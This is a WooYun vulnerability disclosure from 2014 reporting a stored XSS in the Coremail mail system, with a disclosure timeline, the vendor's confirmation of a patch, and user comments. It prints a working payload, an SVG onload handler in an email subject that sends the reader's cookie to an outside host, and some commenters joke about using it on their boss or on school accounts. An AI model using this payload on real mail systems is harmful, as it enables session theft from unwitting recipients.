当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062248

漏洞标题：Coremail邮件系统存储型XSS

相关厂商：Coremail盈世信息科技（北京）有限公司

漏洞作者： mramydnei

提交时间：2014-05-25 12:41

修复时间：2014-08-23 12:42

公开时间：2014-08-23 12:42

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-25： 细节已通知厂商并且等待厂商处理中
2014-05-28： 厂商已经确认，细节仅向厂商公开
2014-05-31： 细节向第三方安全合作伙伴开放
2014-07-22： 细节向核心白帽子及相关领域专家公开
2014-08-01： 细节向普通白帽子公开
2014-08-11： 细节向实习白帽子公开
2014-08-23： 细节向公众公开

简要描述：

对部分内容处理不当，导致受害者一旦打开特定的邮件session id将会被窃取

详细说明：

给受害者发送主题如下的邮件：

<svg onload='img=new Image();img.src="//x55.me/geo.php?get="+document.cookie;'>


1.jpg

漏洞证明：

当受害者试图打开邮件时，cookie将会被窃取：

2.jpg


修复方案：

escape it！

版权声明：转载请注明来源 mramydnei@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-05-28 10:07

厂商回复：

谢谢，该问题已在新版修复，并已针对旧版发布修复补丁。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-25 13:09 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    有源码就是不一样

  2. 2014-05-25 13:16 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @大白菜 哪有源码啊，测试用的账号都是“借”的

  3. 2014-05-25 13:18 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    有测试账号就是不一样

  4. 2014-05-25 13:34 | Bird ( 实习白帽子 | Rank:60 漏洞数:25 | Stay hungry. Stay foolish.)

    - - 好好看看~

  5. 2014-05-25 13:58 | cnrstar ( 普通白帽子 | Rank:157 漏洞数:23 | Be my personal best!)

    关注这个邮箱很久了，可惜连测试帐号都没有。。

  6. 2014-05-25 16:06 | Jasonfcku ( 路人 | Rank:13 漏洞数:2 | 小白一只，求不社。)

    我也是啊@cnrstar，小菜还指望着用这个刷点rank呢。

  7. 2014-05-25 18:23 | Jasonfcku ( 路人 | Rank:13 漏洞数:2 | 小白一只，求不社。)

    突然决定等公开了 第一时间给老板发邮件^。^

  8. 2014-05-26 16:08 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    @mramydnei 很多学校都是用的coremail，还有某某大厂商

  9. 2014-05-28 20:00 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

    做等公布给老板发邮件！

  10. 2014-06-11 14:02 | 未了 ( 路人 | Rank:2 漏洞数:3 | 我在乌云网，你在哪)

    吊 坐等公开

  11. 2014-06-15 15:04 | Bird ( 实习白帽子 | Rank:60 漏洞数:25 | Stay hungry. Stay foolish.)

    @香草 我们就是coremail- - 有了它，期末有着落了？！ 哈哈